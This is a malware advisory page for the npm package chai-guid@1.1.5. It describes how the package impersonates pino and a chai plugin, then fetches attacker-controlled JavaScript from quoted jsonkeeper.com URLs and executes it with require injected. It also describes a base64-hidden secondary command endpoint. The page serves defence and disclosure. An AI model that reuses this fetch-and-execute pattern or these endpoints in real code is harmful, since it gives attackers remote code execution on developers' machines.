chai-guid
This report shows the evidence for chai-guid@1.1.5, the only known version.
This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5903 confirms this npm version as malicious.
Advisory
MAL-2026-5903
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in chai-guid (npm)
Details
chai-guid impersonates the pino logger and the chai-guid chai plugin (README copies pino badges and pinojs CI links; index.js exports middleware as `module.exports.pino`). When a consumer calls the exported middleware, index.js spawns lib/caller.js as a detached Node process with stdio ignored. lib/caller.js performs `axios.get('https://jsonkeeper.com/b/U2BTS')`, reads the `.cookie` field of the response, and executes it via `new Function.constructor('require', s)(require)` — running attacker-controlled JavaScript with full Node privileges and `require` injected. A second base64-encoded URL (`https://jsonkeeper.com/b/XRGF3`) is hidden in a fake `process.env.DEV_API_KEY` shim in lib/caller.js and lib/const.js as a secondary C2 endpoint. jsonkeeper.com is an anonymous, mutable JSON-paste host; whatever bytes the attacker pastes there will be executed on the installer's machine the moment any consumer invokes the package's middleware.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to chai-guid@1.1.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing chai-guid@1.1.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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Source advisory published: .
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